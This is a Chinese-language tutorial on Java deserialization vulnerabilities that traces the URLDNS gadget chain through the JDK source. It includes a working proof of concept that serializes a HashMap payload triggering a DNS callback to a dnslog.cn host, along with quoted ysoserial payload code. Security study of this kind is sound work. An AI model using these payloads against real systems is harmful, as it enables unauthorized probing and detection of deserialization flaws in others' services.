概述
大概意思:
序列化:对象 -> 字符串
反序列化:字符串 -> 对象
几种创建的序列化和反序列化协议
- XML&SOAP
- JSON
- Protobuf
序列化与反序列化基本实现
将序列化功能封装进了 serialize 这个方法里面,在序列化当中,我们通过这个 FileOutputStream 输出流对象,将序列化的对象输出到 ser.bin 当中。再调用 oos 的 writeObject 方法,将对象进行序列化操作。
Serialization
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
Unserialize
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
序列化的安全问题
重要函数
writeObject 和 readObject
存在安全漏洞的形式
0x01 入口类的 readObject 直接调用危险方法
0x02 入口参数中包含可控类,该类有危险方法,readObject 时调用
0x03 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject 时调用
0x04 构造函数/静态代码块等类加载时隐式执行
漏洞的攻击路线
首先的攻击前提:继承 Serializable
入口类:source (重写 readObject 调用常见的函数;参数类型宽泛,比如可以传入一个类作为参数;最好 jdk 自带)
找到入口类之后要找调用链 gadget chain 相同名称、相同类型
执行类 sink (RCE SSRF 写文件等等)比如 exec 这种函数
URLDNS 分析
urldns 地址
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
利用链
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
先看 Hashmap 的readobject方法
//还有一堆省略了
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
跟进hash函数
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
这里使用的是key.hashcode。于是需要寻找key来源。
在POC里面URL需要使用hashmap.put()方法,
hashmap.put(new URL("DNS地址以"),1);
跟进put方法。
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
发现调用了hash函数,hash里面的key便是传的URL参数。
跟进URL里面查找hashcode().
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
继续跟进handler。
transient URLStreamHandler handler;
继续跟进URLStreamHandler,寻找hashcode。
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
继续跟进hostAddress()
protected InetAddress getHostAddress(URL u) {
return u.getHostAddress();
}
继续跟进
synchronized InetAddress getHostAddress() {
if (hostAddress != null) {
return hostAddress;
}
if (host == null || host.isEmpty()) {
return null;
}
try {
hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException | SecurityException ex) {
return null;
}
return hostAddress;
}
这⾥ InetAddress.getByName(host) 的作⽤是根据主机名,获取其 IP 地址,在⽹络上其实就是⼀次 DNS 查询。到这⾥就不必要再跟了。
利用链
- HashMap->readObject()
- HashMap->hash()
- URL->hashCode()
- URLStreamHandler->hashCode()
- URLStreamHandler->getHostAddress()
- InetAddress->getByName()
URLDNS 反序列化利用链的 POC
package org.example;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL; import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
// new一个 HashMap 出来,这是此 gadget 的起点;
// 然后设置需要访问的url
HashMap hashMap = new HashMap();
URL url = new URL("http://aer4rt.dnslog.cn");
// 将私有的 hashCode 设置为可以更改
Field field = Class.forName("java.net.URL").getDeclaredField("hashCode");
field.setAccessible(true);
// 设置 url 对象内的 hashCode 为 0x123
field.set(url, 0x123);
// 将键值存入hashMap
hashMap.put(url, "qqq");
// 设置 url 对象内的 hashCode 为 -1(不可更改)
field.set(url, -1);
// 序列化,写入文件
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./out.ser"));
outputStream.writeObject(hashMap);
outputStream.close();
// 反序列化,读取文件
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./out.ser"));
inputStream.readObject();
inputStream.close();
}
}
注意
我们需要注意hashmap中的put方法。
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
在URL对象再初始化之后的hashCode默认为-1。也就是说生成payload的过程中,如果不做任何修改就直接把URL对象放入HashMap是在本地触发一次DNS查询的。
注释field.set(url, 0x123);发现默认为-1
这时候hashCode默认为-1,然后就会进入hash(key)触发DNS查询。这就会混淆是你本地的查询还是对方机器的查询的DNS。在put之前修改个hashCode,就可以避免触发。
而在put了之后,需要field.set(url, -1);把这个字段修改回来,去触发DNS请求。
查看yso做法
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
// HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
它代码中没有使用 field.set(url, 0x123); ,但是自定了一个类为 SilentURLStreamHandler,这个类重写了getHostAddress() 函数,重写后的 getHostAddress() 是个空的,也就导致在本地生成 poc 的时候不会有 DNS 请求。